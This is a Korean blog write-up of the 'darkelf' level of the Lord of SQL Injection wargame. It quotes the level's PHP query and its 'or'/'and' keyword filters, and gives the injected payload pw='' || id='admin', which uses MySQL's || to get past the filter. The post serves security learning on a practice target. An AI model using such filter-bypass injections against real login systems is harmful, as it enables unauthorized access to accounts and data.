Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 보고서
- 과제
- Los
- sql injection point
- 모의해킹
- 세션
- php
- sql injection
- 증적 사진
- csrf
- CTF
- 로그인
- JS
- 웹 해킹
- file upload
- lord of sql injection
- union sql injection
- 웹 개발
- 문제 풀이
- 보안 패치
- MySQL
- 게시판 만들기
- blind sql injection
- css
- 웹개발
- cookie 탈취
- 로그인페이지
- Error based sql injection
- Python
- XSS
Archives
- Today
- Total
Almon Dev
[Lord of SQL Injection] darkelf 풀이 본문
LOS 풀이
darkelf
풀이
1. 코드 분석
GET 메서드의 pw 파라미터가 쿼리에 삽입이 되고 쿼리 결과의 id가 admin인 경우 문제가 풀립니다.
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("darkelf");
or과 and를 필터링합니다.
mysql에서는 or과 and를 대체할 ||나 &&를 이용하면 우회할 수 있습니다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
2. 쿼리 삽입
or을 ||로 대체한 것 외에는 차이점이 없습니다.
select id from prob_darkelf where id='guest' and pw='' || id='admin'
'웹 해킹 > Lord of SQLi' 카테고리의 다른 글
[Lord of SQL Injection] troll 풀이 (2) | 2025.01.06 |
---|---|
[Lord of SQL Injection] orge 풀이 (1) | 2025.01.06 |
[Lord of SQL Injection] wolfman 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] orc 풀이 (2) | 2025.01.06 |
[Lord of SQL Injection] goblin 풀이 (0) | 2025.01.06 |